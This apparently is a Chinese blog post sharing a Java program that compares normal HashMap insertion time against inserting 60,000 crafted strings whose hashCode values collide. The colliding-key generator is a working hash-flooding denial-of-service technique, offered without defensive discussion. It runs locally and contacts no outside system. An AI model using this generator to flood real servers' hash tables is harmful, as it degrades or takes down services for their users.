Hash Collision攻击的代码(java)

Hash Collision攻击的代码( java)
package com.wzucxd;

import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;

public class HashCollision_ {

	private static final int		i1	= 48;
	private static final int		i2	= 8;
	private static final int		i3	= 31;
	private static final int		i4	= 60000;
	private static final long		l1	= i3 - 1;
	private static final long		l2	= 2l << 32;
	private static final BigDecimal	d1	= new BigDecimal(31);
	private static final BigDecimal	d2	= d1.pow(i2);
	private static final BigDecimal	d3	= new BigDecimal(l2);
	
	public static void main(String[] args) {
		
		Map<String, Integer> map = null;
		
		//普通
		long startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			map.put(s, 0);
		}
		long endTime = System.currentTimeMillis();
		System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));
		
		//攻击
		startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			while (s.length() < 5) {
				s = "0" + s;
			}
			int hs = s.hashCode();
			char[] r = g(hs, 0);
			s = s.concat(new String(r));
			map.put(s, 0);
		}
		
		endTime = System.currentTimeMillis();
		System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));
		
	}
	
	private static char[] g(int s, int t) {
		long hx1 = l1 * s + i1;
		BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
		BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
		BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
		BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
		long l = hx4.subtract(b).longValue();
		l = (l + l2) % l2;
		if (l < 0)
			l += l2;
		char[] c = new char[i2];
		int p = 0;
		while (l != 0) {
			c[p++] = (char) (l % (i3) + i1);
			l = l / i3;
		}
		int f = i2 - p;
		char[] cs = new char[i2];
		int i = 0;
		while (i < f) {
			cs[i++] = (char) i1;
		}
		while (i < i2) {
			cs[i] = c[p - i + f - 1];
			++i;
		}
		return cs;
	}

	
}

你可能感兴趣的:(Hash Collision攻击的代码(java))